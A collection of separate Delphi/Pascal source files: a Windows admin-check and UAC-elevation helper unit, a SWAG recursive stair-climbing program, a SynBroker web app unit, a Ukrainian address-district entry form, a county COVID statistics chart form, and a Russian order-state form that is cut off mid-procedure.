IF hParent <> 0 THEN CloseHandle(hParent);
IF hToken <> 0 THEN CloseHandle(hToken);
IF lpEnvironment <> nil THEN
BEGIN DestroyEnvironmentBlock(lpEnvironment);
lpEnvironment := nil;
END;
if pAList <> NIL then
begin
DeleteProcThreadAttributeList(pAList);
HeapFree(GetProcessHeap(), 0, pAList);
end;
end;
end;
function CreateProcessAsAdmin(const path,args,workdir:WideString;mask:Cardinal = 256):LongBool;
var
command_line:WideString;
n_path,n_args:Cardinal;
exeCInfo:SHELLEXECUTEINFOW;
ret:Cardinal;
begin
FillChar(exeCInfo,SizeOf(SHELLEXECUTEINFOW),#0);
ExecInfo.cbSize := sizeof(SHELLEXECUTEINFOW);
ExecInfo.fMask := mask;
ExecInfo.lpVerb := 'runas';
ExecInfo.lpFile := PWideChar(path);
ExecInfo.lpParameters := PWideChar(args);
ExecInfo.lpDirectory := PWideChar(workdir);
ExecInfo.nShow := 1;
CoInitializeEx(nil,COINIT_APARTMENTTHREADED or COINIT_DISABLE_OLE1DDE);
try
Result:=ShellExecuteExW(@exeCInfo);
if not Result then RaiseLastOSError;
finally
CoUninitialize;
end;
end;
function InstallSoft(const fileName,args:string;waitTime:Cardinal=INFINITE):LongBool;
var
exeCInfo:SHELLEXECUTEINFOW;
ret:Cardinal;
begin
FillChar(exeCInfo,SizeOf(SHELLEXECUTEINFOW),#0);
ExecInfo.cbSize := sizeof(SHELLEXECUTEINFOW);
ExecInfo.fMask := 64;
ExecInfo.lpVerb := nil;
ExecInfo.lpFile := PWideChar(@fileName[1]);
ExecInfo.lpParameters := PWideChar(@args[1]);
ExecInfo.lpDirectory := nil;
ExecInfo.nShow := 1;
CoInitializeEx(nil,COINIT_APARTMENTTHREADED or COINIT_DISABLE_OLE1DDE);
try
Result:=ShellExecuteExW(@exeCInfo);
if not Result then RaiseLastOSError;
WaitForSingleObject(exeCInfo.hProcess,waitTime);
finally
CoUninitialize;
end;
end;
function IsRunningAsAdmin:LongBool;
const
SECURITY_BUILTIN_DOMAIN_RID :LongInt = $00000020;
DOMAIN_ALIAS_RID_ADMINS:LongInt = $00000220;
var
NtAuthority:SID_IDENTIFIER_AUTHORITY;
AdministratorsGroup:PSID;
IsRunAsAdmin:LongBool;
begin
AdministratorsGroup:=nil;
FillChar(NtAuthority,SizeOf(SID_IDENTIFIER_AUTHORITY),#0);
NtAuthority.Value[5]:=5;
Result:=AllocateAndInitializeSid(
NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0,0,0,0,0,0,
AdministratorsGroup
);
if not Result then RaiseLastOSError;
IsRunAsAdmin:=False;
try
Result:=CheckTokenMembership(0,AdministratorsGroup,IsRunAsAdmin);
if not Result then RaiseLastOSError;
Result:= IsRunAsAdmin <> False;
finally
IF AdministratorsGroup <> NIL then FreeSid(AdministratorsGroup);
end;
end;
function ConsumeSpaces(const str:PWideChar):PWideChar;
var
pWChar:PWideChar;
I:Cardinal;
begin
pWChar:=str;
for I := 0 to 1023 do
begin
if pWChar^ <> WideChar(#32) then Exit(pWCHar)
else
Inc(pWChar);
end;
Exception.Create('1024');
end;
function ConsumeArg(const pCmdLine:PWideChar):PWideChar;
var
Quotes:LongBool;
I:Cardinal;
pWChar:PWideChar;
begin
Quotes:=False;
pWChar:=pCmdLine;
for I := 0 to 1023 do
begin
if pWChar^ = WideChar(#0) then Exit(pCmdLine);
if pWChar^ = WideChar(#34){'"'} then
begin
if Quotes then
begin
Inc(pWChar);
Exit(ConsumeSpaces(pWChar));
end;
Quotes:=True;
end
else
if (pWChar^ <> WideChar(#32){' '}) and (not Quotes) then
begin
Exit(ConsumeSpaces(pWChar));
end;
Inc(pWChar);
end;
Exception.Create('1024');
end;
function GetCommandLineWithoutProgram:WideString;
var
pCommandLineW:PWideChar;
begin
pCommandLineW:=GetCommandLineW;
Result:=ConsumeArg(pCommandLineW);
end;
function RestartAsAdmin(const args:WideString):LongBool;
var
path,workdir:array[0..1023] of WideChar;
begin
FillChar(path[0],1024*2,#0);
Result:= GetModuleFileNameW(GetModuleHandleW(nil),PWideChar(@path[0]),1024) <> 0;
if not Result then RaiseLastOSError;
FillChar(workdir[0],1024*2,#0);
Result:=GetCurrentDirectoryW(1024,PWideChar(@workdir[0])) <> 0;
if not Result then RaiseLastOSError;
Result:=CreateProcessAsAdmin(path, args, workdir);
end;
procedure RestartAsAdminWithSameArgs;
begin
RestartAsAdmin(GetCommandLineWithoutProgram);
ExitProcess(0);
end;
end.
|
(*
Category: SWAG Title: MATH ROUTINES
Original name: 0088.PAS
Description: Staircase Problem
Author: ROB VAN GEEL
Date: 11-26-94 05:00
*)
{
> Can anyone give me a hand with this problem please! I needs to
> write a recursive function that will compute the number of possible
> ways a person can go up a stair of n steps if that person can take 1,
> 2, or 4 steps in one stride. Thanks in advance!
>
From: R.A.M.vGeel@kub.nl (GEEL R.A.M.VAN)
}
program StairWay;
var
Total : longint;
NrOfSteps : integer;
procedure ClimbStairs(Steps: integer);
begin
if Steps - 1 = 0 then inc(Total) { last 1-step }
else
if Steps > 0 then
begin
if (Steps - 2) = 0 then inc(Total) { last 2-step }
else
if (Steps - 2 > 0) then ClimbStairs(Steps - 2);
if (Steps - 4) = 0 then inc(Total) { last 4-step }
else
if (Steps - 4) > 0 then ClimbStairs(Steps - 4);
end;
end;
begin
Total := 0;
write('Give number of steps: ');
readln(NrOfSteps);
ClimbStairs(NrOfSteps);
writeln('Total possibilities: ', Total);
end.
|
{ *************************************************************************** }
{ SynWebApp.pas is the 4th file of SynBroker Project }
{ by c5soft@189.cn Version 0.9.1.0 2018-6-2 }
{ *************************************************************************** }
{$DENYPACKAGEUNIT}
unit SynWebApp;
interface
uses Classes, SysUtils, WebBroker, HTTPApp, SynCommons, SynCrtSock,SynWebServer;
type
TSynWebApplication = class(TWebApplication)
private
fServer: TSynWebServer;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Run; override;
end;
implementation
uses Windows, BrkrConst, IniFiles, SynZip, SynWebReqRes;
procedure WaitForEscKey;
var
LInputRecord: TInputRecord;
LEvent: DWord;
LHandle: THandle;
begin
LHandle := GetStdHandle(STD_INPUT_HANDLE);
while True do begin
Win32Check(ReadConsoleInput(LHandle, LInputRecord, 1, LEvent));
if (LInputRecord.EventType = KEY_EVENT) and
LInputRecord.Event.KeyEvent.bKeyDown and
(LInputRecord.Event.KeyEvent.wVirtualKeyCode = VK_ESCAPE) then
break;
end;
end;
{ TSynWebApplication }
constructor TSynWebApplication.Create(AOwner: TComponent);
begin
inherited;
fServer:=TSynWebServer.Create(Self);
end;
destructor TSynWebApplication.Destroy;
begin
fServer.Free;
inherited;
end;
procedure TSynWebApplication.Run;
begin
WriteLn('Server Listening on http://localhost:' + fServer.Port + ' ...');
WriteLn('Press ESC to quit');
WaitForEscKey;
end;
procedure InitApplication;
begin
Application := TSynWebApplication.Create(nil);
end;
initialization
InitApplication;
end.
|
unit uAddDistrict;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, {uCharControl, uFControl, uLabeledFControl, uSpravControl,}
StdCtrls, Buttons,{ uFormControl,} uAdr_DataModule,{ uAddModifForm,}
cxLookAndFeelPainters, FIBQuery, pFIBQuery, pFIBStoredProc, DB,
FIBDataSet, pFIBDataSet, FIBDatabase, pFIBDatabase, ActnList, cxButtons,
cxLabel, cxControls, cxContainer, cxEdit, cxTextEdit, AdrSp_MainForm, AdrSp_Types,
IBase, cxMaskEdit, cxButtonEdit, cxCheckBox, Address_ZMessages;
type
TAdd_District_Form = class(TAdrEditForm)
NameTE: TcxTextEdit;
NameLbl: TcxLabel;
AcceptBtn: TcxButton;
CancelBtn: TcxButton;
cxLabel1: TcxLabel;
cxLabel2: TcxLabel;
TypeBE: TcxButtonEdit;
RegionBE: TcxButtonEdit;
EqualCB: TcxCheckBox;
Zip1: TcxMaskEdit;
Zip2: TcxMaskEdit;
cxLabel3: TcxLabel;
cxLabel4: TcxLabel;
ActionList: TActionList;
AcceptAction: TAction;
CancelAction: TAction;
DB: TpFIBDatabase;
ReadTransaction: TpFIBTransaction;
WriteTransaction: TpFIBTransaction;
DSet: TpFIBDataSet;
StProc: TpFIBStoredProc;
procedure TypeBEPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure RegionBEPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure CancelActionExecute(Sender: TObject);
procedure AcceptActionExecute(Sender: TObject);
procedure EqualCBPropertiesChange(Sender: TObject);
procedure Zip1PropertiesEditValueChanged(Sender: TObject);
procedure Zip2PropertiesEditValueChanged(Sender: TObject);
private
pIdDistrict:Integer;
procedure UpdateZip2;
function CheckData:Boolean;
public
// DBHandle: integer;
// Mode:TFormMode;
pIdRegion:Integer;
pIdType:Integer;
constructor Create(AOwner:TComponent;ADB_HANDLE:TISC_DB_HANDLE;AIdDistrict:Integer=-1);reintroduce;
end;
implementation
{$R *.dfm}
uses RxMemDS;
constructor TAdd_District_Form.Create(AOwner:TComponent;ADB_HANDLE:TISC_DB_HANDLE;AIdDistrict:Integer=-1);
begin
inherited Create(AOwner);
//******************************************************************************
DB.Handle:=ADB_HANDLE;
StartId:=AIdDistrict;
end;
procedure TAdd_District_Form.TypeBEPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
Params:TSpParams;
OutPut:TRxMemoryData;
begin
Params.FormCaption:='Довідник типів районів';
Params.ShowMode:=fsmSelect;
Params.ShowButtons:=[fbExit];
Params.AddFormClass:='TAdd_Region_Form';
Params.ModifFormClass:='TAdd_Region_Form';
Params.TableName:='ini_type_district';
Params.Fields:='Name_full,id_type_district';
Params.FieldsName:='Назва';
Params.KeyField:='id_type_district';
Params.ReturnFields:='Name_full,id_type_district';
Params.DeleteSQL:='execute procedure adr_region_d(:id_region);';
Params.DBHandle:=Integer(DB.Handle);
OutPut:=TRxMemoryData.Create(self);
if GetAdressesSp(Params,OutPut) then
begin
pIdType:=output['id_type_district'];
TypeBE.Text:=VarToStr(output['Name_full']);
end;
end;
procedure TAdd_District_Form.RegionBEPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
Params:TSpParams;
OutPut:TRxMemoryData;
begin
Params.FormCaption:='Довідник регіонів';
Params.ShowMode:=fsmSelect;
Params.ShowButtons:=[fbAdd,fbDelete,fbModif,fbExit];
Params.AddFormClass:='TAdd_Region_Form';
Params.ModifFormClass:='TAdd_Region_Form';
Params.TableName:='adr_region_SELECT_SP(NULL)';
Params.Fields:='Name_region,NAME_TYPE,NAME_COUNTRY,ZIP,id_region';
Params.FieldsName:='Назва, Тип регіона, Країна, Індекси';
Params.KeyField:='id_region';
Params.ReturnFields:='Name_region,id_region';
Params.DeleteSQL:='execute procedure adr_region_d(:id_region);';
Params.DBHandle:=Integer(DB.Handle);
OutPut:=TRxMemoryData.Create(self);
if GetAdressesSp(Params,OutPut) then
begin
pIdRegion:=output['id_region'];
RegionBE.Text:=VarToStr(output['Name_region']);
end;
end;
procedure TAdd_District_Form.FormShow(Sender: TObject);
begin
ReadTransaction.Active:=True;
pIdDistrict:=StartId;
if pIdDistrict>-1 then
begin
// изменение
Caption:='Змінити район';
if DSet.Active then DSet.Close;
DSet.SQLs.SelectSQL.Text:='SELECT * FROM ADR_DISTRICT_S('+IntToStr(pIdDistrict)+')';
DSet.Open;
NameTE.Text:=DSet['NAME_DISTRICT'];
pIdRegion:=DSet['ID_REGION'];
pIdType:=DSet['ID_TYPE_DISTRICT'];
RegionBE.Text:=DSet['NAME_REGION'];
TypeBE.Text:=DSet['TYPE_NAME'];
Zip1.Text:=VarToStr(DSet['ZIP_BEG']);
Zip2.Text:=VarToStr(DSet['ZIP_END']);
end
else
begin
Caption:='Додати район';
if (VarIsArray(Additional)) and (not (VarIsNull(Additional))) then
begin
pIdRegion:=Additional[0];
RegionBE.Text:=VarToStr(Additional[1]);
end;
end;
end;
procedure TAdd_District_Form.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
ReadTransaction.Active:=False;
end;
procedure TAdd_District_Form.CancelActionExecute(Sender: TObject);
begin
// Ничего не меняли, а, следовательно, обновлять ничего не надо
ResultId:=-1;
ModalResult:=mrCancel;
end;
function TAdd_District_Form.CheckData:Boolean;
begin
Result:=True;
if NameTE.Text='' then
begin
ZShowMessage('Помилка!','Вкажіть назву района',mtError,[mbOK]);
NameTE.SetFocus;
Result:=False;
Exit;
end;
if TypeBE.Text='' then
begin
ZShowMessage('Помилка!','Вкажіть тип района',mtError,[mbOK]);
TypeBE.SetFocus;
Result:=False;
Exit;
end;
if RegionBE.Text='' then
begin
ZShowMessage('Помилка!','Вкажіть регіон',mtError,[mbOK]);
RegionBE.SetFocus;
Result:=False;
Exit;
end;
if ((Zip1.Text='') or (Zip2.Text='')) and
not((Zip1.Text='') and (Zip2.Text='')) then
begin
ZShowMessage('Помилка!','Вкажіть діапазон повністю',mtError,[mbOK]);
if (Zip1.Text='') then
Zip1.SetFocus
else
Zip2.SetFocus;
Result:=False;
Exit;
end;
if not((Zip1.Text='') and (Zip2.Text='')) and
(Zip1.EditValue>Zip2.EditValue) then
begin
ZShowMessage('Помилка!','Кінець діапазону має бути більшим за початок',mtError,[mbOK]);
Result:=False;
Zip1.SetFocus;
Exit;
end;
end;
procedure TAdd_District_Form.AcceptActionExecute(Sender: TObject);
begin
if not(CheckData) then Exit;
try
StProc.StoredProcName:='ADR_DISTRICT_IU';
WriteTransaction.StartTransaction;
StProc.Prepare;
if pIdDistrict>-1 then
StProc.ParamByName('ID_D').AsInteger:=pIdDistrict;
StProc.ParamByName('NAME_DISTRICT').AsString:=NameTE.Text;
StProc.ParamByName('ID_REGION').AsInteger:=pIdRegion;
StProc.ParamByName('ID_TYPE_DISTRICT').AsInteger:=pIdType;
StProc.ExecProc;
pIdDistrict:=StProc.FN('ID_DISTRICT').AsInteger;
// WriteTransaction.Commit;
if not((Zip1.Text='')) and not((Zip2.Text='')) then
begin
StProc.StoredProcName:='ADR_ZIP_DISTRICT_IU';
// WriteTransaction.StartTransaction;
StProc.Prepare;
StProc.ParamByName('ID_DISTRICT').AsInteger:=pIdDistrict;
StProc.ParamByName('ZIP_BEG').AsInteger:=Zip1.EditValue;
StProc.ParamByName('ZIP_END').AsInteger:=Zip2.EditValue;
StProc.ExecProc;
end;
WriteTransaction.Commit;
ResultId:=pIdDistrict;
ModalResult:=mrOk;
except
on E:Exception do
begin
WriteTransaction.Rollback;
ZShowMessage('Помилка',E.Message,mtError,[mbOk]);
end;
end;
end;
procedure TAdd_District_Form.UpdateZip2;
//var c:Variant;
begin
if EqualCB.Checked then
Zip2.EditValue:=Zip1.EditValue
{ else
if (Zip1.EditValue>Zip2.EditValue) and not((Zip2.Text='')) then
begin
c:=Zip1.EditValue;
Zip1.EditValue:=Zip2.EditValue;
Zip2.EditValue:=c;
end;}
end;
procedure TAdd_District_Form.EqualCBPropertiesChange(Sender: TObject);
begin
Zip2.Enabled:=not(EqualCB.Checked);
UpdateZip2;
end;
procedure TAdd_District_Form.Zip1PropertiesEditValueChanged(Sender: TObject);
begin
UpdateZip2;
end;
procedure TAdd_District_Form.Zip2PropertiesEditValueChanged(Sender: TObject);
begin
UpdateZip2;
end;
initialization
RegisterClass(TAdd_District_Form);
end.
|
unit Forms.Details;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, AdvUtil, Vcl.Grids, AdvObj, BaseGrid, AdvGrid, Modules.Data,
FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS,
FireDAC.Phys.Intf, FireDAC.DApt.Intf, FireDAC.Stan.Async, FireDAC.DApt, Data.DB,
FireDAC.Comp.DataSet, FireDAC.Comp.Client, Vcl.ExtCtrls, AdvSplitter, VclTee.TeeGDIPlus,
VCLTee.TeEngine, VCLTee.Series, VCLTee.TeeProcs, VCLTee.Chart;
type
TFrmDetail = class(TForm)
Grid: TAdvStringGrid;
QuNumbers: TFDQuery;
AdvSplitter1: TAdvSplitter;
Chart: TChart;
serCases: TBarSeries;
serDeaths: TBarSeries;
QuCoordinates: TFDQuery;
serNewCases: TBarSeries;
serNewDeaths: TBarSeries;
private
FCoordId: Integer;
procedure SetCoordId(const Value: Integer);
procedure LoadData;
{ Private declarations }
public
{ Public declarations }
property CoordId: Integer read FCoordId write SetCoordId;
end;
var
FrmDetail: TFrmDetail;
implementation
{$R *.dfm}
{ TFrmDetail }
procedure TFrmDetail.LoadData;
var
LRow: Integer;
LDeltaCases,
LDeltaDeaths,
LLastDeaths,
LLastCases : Integer;
begin
QuCoordinates.Close;
QuCoordinates.ParamByName('Id').AsInteger := CoordId;
QuCoordinates.Open;
QuNumbers.Close;
QuNumbers.ParamByName('state').AsString := QuCoordinates['state'];
QuNumbers.ParamByName('county').AsString := QuCoordinates['county'];
QuNumbers.Open;
self.Caption := Format( 'Detail data: %s County, %s',
[ QuCoordinates['county'],
QuCoordinates['state']
] );
Grid.BeginUpdate;
try
Grid.RowCount := QuNumbers.RecordCount +1;
Grid.Cells[0,0] := 'Date';
Grid.Cells[1,0] := 'Cases';
Grid.Cells[2,0] := '+/-';
Grid.Cells[3,0] := 'Deaths';
Grid.Cells[4,0] := '+/-';
LRow := 0;
LLastDeaths := 0;
LLastCases := 0;
serCases.BeginUpdate;
serCases.Clear;
serDeaths.BeginUpdate;
serDeaths.Clear;
while not QuNumbers.Eof do
begin
Inc( LRow );
LDeltaCases := QuNumbers['Cases'] - LLastCases;
LDeltaDeaths := QuNumbers['Deaths'] - LLastDeaths;
Grid.Dates[0,LRow] := QuNumbers['Date'];
Grid.AllInts[1,LRow] := QuNumbers['Cases'];
Grid.AllInts[2,LRow] := LDeltaCases;
Grid.AllInts[3,LRow] := QuNumbers['Deaths'] ;
Grid.AllInts[4,LRow] := LDeltaDeaths;
serCases.AddXY( QuNumbers['Date'], QuNumbers['Cases']);
serDeaths.AddXY( QuNumbers['Date'], QuNumbers['Deaths'] );
serNewCases.AddXY( QuNumbers['Date'], LDeltaCases);
serNewDeaths.AddXY( QuNumbers['Date'], LDeltaDeaths );
LLastCases := QuNumbers['Cases'];
LLastDeaths :=QuNumbers['Deaths'];
QuNumbers.Next;
end;
Grid.Sort(0, sdDescending);
Grid.AutoFitColumns(true);
finally
serDeaths.EndUpdate;
serCases.EndUpdate;
Grid.EndUpdate;
end;
end;
procedure TFrmDetail.SetCoordId(const Value: Integer);
begin
FCoordId := Value;
LoadData;
end;
end.
|
unit CCJS_State;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ActnList, ComCtrls, ToolWin, DB, ADODB,
UCCenterJournalNetZkz, UtilsBase;
type
TOrderStateMode = (
cJSOStateOpen, { Открытие интернет-заказа }
cJSOStateClose, { Закрытие интернет-заказа }
cJBOStateOpen, { Открытие заказа по звонку }
cJBOStateClose { Закрытие заказа по звонку }
);
TOrderStateParam = record
StateMode: TOrderStateMode;
OrderHeader: TJSO_OrderHeaderItem;
UserId: Integer;
Foundation: string;
OrderStatus: string;
SendSMS: Boolean;
SMSText: string;
SMSType: Variant;
end;
TfrmCCJS_State = class(TForm)
pnlTop: TPanel;
pnlTop_Order: TPanel;
pnlTop_Price: TPanel;
pnlTop_Client: TPanel;
pnlTool: TPanel;
pnlTool_Bar: TPanel;
pnlTool_Show: TPanel;
pnlState: TPanel;
Label1: TLabel;
edFoundation: TEdit;
btnSlFoundation: TButton;
tlbarControl: TToolBar;
tlbtnOk: TToolButton;
tlbtnExit: TToolButton;
aMain: TActionList;
aMain_Ok: TAction;
aMain_Exit: TAction;
aMain_SlFoundation: TAction;
spGetStateJSO: TADOStoredProc;
spSetStateJSO: TADOStoredProc;
aMain_SlOrderStatus: TAction;
Label2: TLabel;
edOrderStatus: TEdit;
btnSlDrivers: TButton;
spFindStatus: TADOStoredProc;
spSetOrderStatus: TADOStoredProc;
PanelSMS: TPanel;
cbSendMessage: TCheckBox;
edSMSText: TMemo;
spOpenCloseOrder: TADOStoredProc;
spOrderSMSText: TADOStoredProc;
cbSendEmail: TCheckBox;
procedure FormCreate(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure aMain_OkExecute(Sender: TObject);
procedure aMain_SlFoundationExecute(Sender: TObject);
procedure aMain_ExitExecute(Sender: TObject);
procedure edFoundationChange(Sender: TObject);
procedure aMain_SlOrderStatusExecute(Sender: TObject);
procedure edOrderStatusChange(Sender: TObject);
private
{ Private declarations }
ISignActive : integer;
//ModeAction : integer;
ISignAllowTheActionOrder : smallint;
ISignAllowTheActionBell : smallint;
// NRN : integer; { Номер интернет-заказа или звонка}
// NUSER : integer;
// OrderPrice : real;
// OrderClient : string;
// OrderShipping : string;
FParams: TOrderStateParam;
FOrderId: Integer;
FCodeAction: string;
FStateMode: TOrderStateMode;
procedure ShowGets;
procedure CheckStateOrder;
procedure CheckStateBell;
procedure InitParams(AParams: TOrderStateParam);
procedure InitControls;
function CheckControls: Boolean;
function GetDefaultSMSText: string;
public
{ Public declarations }
{procedure SetModeAction(Action : integer);
procedure SetRN(RN : integer);
procedure SetPrice(Price : real);
procedure SetClient(Client : string);
procedure SetUser(IDUSER : integer);
procedure SetOrderShipping(Parm : string);}
class function Execute(AParams: TOrderStateParam; AOwner: TComponent): Integer;
end;
var
frmCCJS_State: TfrmCCJS_State;
//const
{ cJSOStateOpen = 1;} { Открытие интернет-заказа }
{ cJSOStateClose = 2;} { Закрытие интернет-заказа }
{ cJBOStateOpen = 3;} { Открытие заказа по звонку }
{ cJBOStateClose = 4;} { Закрытие заказа по звонку }
implementation
uses
Util,
UMain, UReference;
{$R *.dfm}
procedure TfrmCCJS_State.FormCreate(Sender: TObject);
begin
{ Инициализация }
ISignActive := 0;
//NRN := 0;
//ModeAction := 0;
ISignAllowTheActionOrder := 1;
ISignAllowTheActionBell := 1;
//OrderShipping := '';
end;
class function TfrmCCJS_State.Execute(AParams: TOrderStateParam; AOwner: TComponent): Integer;
var
vDlg: TfrmCCJS_State;
begin
vDlg := TfrmCCJS_State.Create(AOwner);
try
vDlg.InitParams(AParams);
vDlg.InitControls;
Result := vDlg.ShowModal;
finally
FreeAndNil(vDlg);
end;
end;
procedure TfrmCCJS_State.InitParams(AParams: TOrderStateParam);
begin
FParams := AParams;
FOrderId := FParams.OrderHeader.orderID;
FStateMode := FParams.StateMode;
end;
function TfrmCCJS_State.GetDefaultSMSText: string;
var
IErr: Integer;
ErrMsg: string;
begin
Result := '';
if VarIsAssigned(FParams.SMSType) then
begin
try
spOrderSMSText.Parameters.ParamByName('@OrderId').Value := FOrderId;
spOrderSMSText.Parameters.ParamByName('@SMSType').Value := FParams.SMSType;
spOrderSMSText.ExecProc;
IErr := spOrderSMSText.Parameters.ParamValues['@RETURN_VALUE'];
if IErr = 0 then
Result := spOrderSMSText.Parameters.ParamValues['@SMSText']
else
begin
ErrMsg := spOrderSMSText.Parameters.ParamValues['@ErrMsg'];
end;
except
on e:Exception do
ErrMsg := e.Message;
end;
end;
end;
procedure TfrmCCJS_State.InitControls;
var
SCaption: string;
begin
{ Отображаем реквизиты заказа }
SCaption := 'Заказ № ' + VarToStr(FOrderId);
pnlTop_Order.Caption := SCaption;
pnlTop_Order.Width := TextPixWidth(SCaption, pnlTop_Order.Font) + 20;
SCaption := 'Сумма ' + VarToStr(FParams.OrderHeader.orderAmount);
pnlTop_Price.Caption := SCaption;
pnlTop_Price.Width := TextPixWidth(SCaption, pnlTop_Price.Font) + 20;
SCaption := FParams.OrderHeader.orderShipName;
pnlTop_Client.Caption := SCaption;
pnlTop_Client.Width := TextPixWidth(SCaption, pnlTop_Client.Font) + 10;
if FParams.Foundation <> '' then
edFoundation.Text := FParams.Foundation;
if FParams.OrderStatus <> '' then
edOrderStatus.Text := FParams.OrderStatus;
cbSendMessage.Checked := False;
cbSendEmail.Enabled := False;
cbSendMessage.Enabled := FParams.SendSMS;
cbSendEmail.Enabled := FParams.SendSMS;
if FParams.SendSMS then
begin
if FParams.SMSText <> '' then
edSMSText.Text := FParams.SMSText
else
edSMSText.Text := Self.GetDefaultSMSText;
end
else
edSMSText.Clear;
PanelSMS.Visible := FParams.SendSMS;
if (not FParams.SendSMS) then
Self.Height := Self.Height - 153
end;
procedure TfrmCCJS_State.FormActivate(Sender: TObject);
begin
if ISignActive = 0 then begin
{ Инициализация }
case FStateMode of
cJSOStateOpen: begin
FCodeAction := 'OpenOrder';
self.Caption := 'Открытие интернет-заказа';
FCCenterJournalNetZkz.imgMain.GetIcon(133,self.Icon)
end;
cJSOStateClose: begin
FCodeAction := 'CloseOrder';
self.Caption := 'Закрытие интернет-заказа';
FCCenterJournalNetZkz.imgMain.GetIcon(134,self.Icon)
end;
cJBOStateOpen: begin
FCodeAction := 'OpenBell';
self.Caption := 'Открытие заказа по звонку';
FCCenterJournalNetZkz.imgMain.GetIcon(133,self.Icon)
end;
cJBOStateClose: begin
FCodeAction := 'CloseBell';
self.Caption := 'Закрытие заказа по звонку';
FCCenterJournalNetZkz.imgMain.GetIcon(134,self.Icon)
end;
else
begin
ShowMessage('Незарегистрированный режим работы');
self.Close;
end;
end;
{ Форма активна }
ISignActive := 1;
{ Контроль многопользовательского режима: Проверка состояния заказа }
CheckStateOrder;
CheckStateBell;
ShowGets;
end;
end;
procedure TfrmCCJS_State.ShowGets;
begin
if ISignActive = 1 then begin
{ Доступ к элементам управления }
if (length(edFoundation.Text) = 0)
or
(
(FStateMode = cJSOStateClose) and
(length(edOrderStatus.Text) = 0)
)
then begin
aMain_Ok.Enabled := false;
end else begin
aMain_Ok.Enabled := true;
end;
{ Обязательные поля для ввода }
if (length(edFoundation.Text) = 0) then edFoundation.Color := TColor(clYellow) else edFoundation.Color := TColor(clWindow);
if (FStateMode = cJSOStateClose) and (length(edOrderStatus.Text) = 0)
then edOrderStatus.Color := TColor(clYellow)
else edOrderStatus.Color := TColor(clWindow);
end;
end;
procedure TfrmCCJS_State.CheckStateOrder;
var
IErr : integer;
SErr : string;
SCloseDate : string;
begin
if (FStateMode = cJSOStateClose) or (FStateMode = cJSOStateOpen) then begin
ISignAllowTheActionOrder := 1;
spGetStateJSO.Parameters.ParamValues['@Order'] := FOrderId;
spGetStateJSO.ExecProc;
IErr := spGetStateJSO.Parameters.ParamValues['@RETURN_VALUE'];
if IErr <> 0 then begin
SErr := spGetStateJSO.Parameters.ParamValues['@SErr'];
ShowMessage(SErr);
ISignAllowTheActionOrder := 0;
self.Close;
end else begin
SCloseDate := spGetStateJSO.Parameters.ParamValues['@SCloseDate'];
if (FStateMode = cJSOStateClose) and (length(SCloseDate) <> 0) then begin
ShowMessage('Интернет-заказ уже находится в состоянии <Закрыт>');
ISignAllowTheActionOrder := 0;
self.Close;
end else
if (FStateMode = cJSOStateOpen) and (length(SCloseDate) = 0) then begin
ShowMessage('Интернет-заказ уже находится в состоянии <Открыт>');
ISignAllowTheActionOrder := 0;
self.Close;
end;
end;
end;
end;
procedure TfrmCCJS_State.CheckStateBell;
begin
end;
{procedure TfrmCCJS_State.SetModeAction(Action : integer); begin ModeAction := Action; end;
procedure TfrmCCJS_State.SetRN(RN : integer); begin NRN := RN; end;
procedure TfrmCCJS_State.SetPrice(Price : real); begin OrderPrice := Price; end;
procedure TfrmCCJS_State.SetClient(Client : string); begin OrderClient := Client; end;
procedure TfrmCCJS_State.SetUser(IDUSER : integer); begin NUSER := IDUSER; end;
procedure TfrmCCJS_State.SetOrderShipping(Parm : string); begin OrderShipping := Parm; end;}
function TfrmCCJS_State.CheckControls: Boolean;
begin
Result := True;
if (cbSendMessage.Checked or cbSendEmail.Checked) and (Trim(edSMSText.Text) = '') then
begin
Result := False;
MessageDlg('Не заполнен текст СМС', mtError, [mbOk], 0);
end;
end;
procedure TfrmCCJS_State.aMain_OkExecute(Sender: TObject);
var
IErr : integer;
SErr : string;
begin
CheckStateOrder;
CheckStateBell;
if (ISignAllowTheActionOrder = 1) and CheckControls then
begin
if MessageDLG('Подтвердите выполнение действия',mtConfirmation,[mbYes,mbNo],0) = mrNo then exit;
try
spOpenCloseOrder.Parameters.ParamValues['@OrderId'] := FOrderId;
spOpenCloseOrder.Parameters.ParamValues['@CodeAction'] := FCodeAction;
spOpenCloseOrder.Parameters.ParamValues['@UserId'] := FParams.UserId;
spOpenCloseOrder.Parameters.ParamValues['@Foundation'] := edFoundation.Text;
spOpenCloseOrder.Parameters.ParamValues['@StatusName'] := edOrderStatus.Text;
if cbSendMessage.Checked then
spOpenCloseOrder.Parameters.ParamValues['@SendSMS'] := 1
else
spOpenCloseOrder.Parameters.ParamValues['@SendSMS'] := 0;
if cbSendEmail.Checked then
spOpenCloseOrder.Parameters.ParamValues['@SendEmail'] := 1
else
spOpenCloseOrder.Parameters.ParamValues['@SendEmail'] := 0;
if VarIsAssigned(FParams.SMSType) then
spOpenCloseOrder.Parameters.ParamValues['@SMSType'] := FParams.SMSType;
spOpenCloseOrder.Parameters.ParamValues['@SMSText'] := edSMSText.Text;
spOpenCloseOrder.Parameters.ParamValues['@Phone'] := FParams.OrderHeader.orderPhone;
spOpenCloseOrder.Parameters.ParamValues['@EMail'] := FParams.OrderHeader.orderEmail;
spOpenCloseOrder.ExecProc;
IErr := spOpenCloseOrder.Parameters.ParamValues['@RETURN_VALUE'];
if IErr <> 0 then
begin
SErr := spOpenCloseOrder.Parameters.ParamValues['@ErrMsg'];
ShowMessage(SErr);
end
else
Self.Close;
except
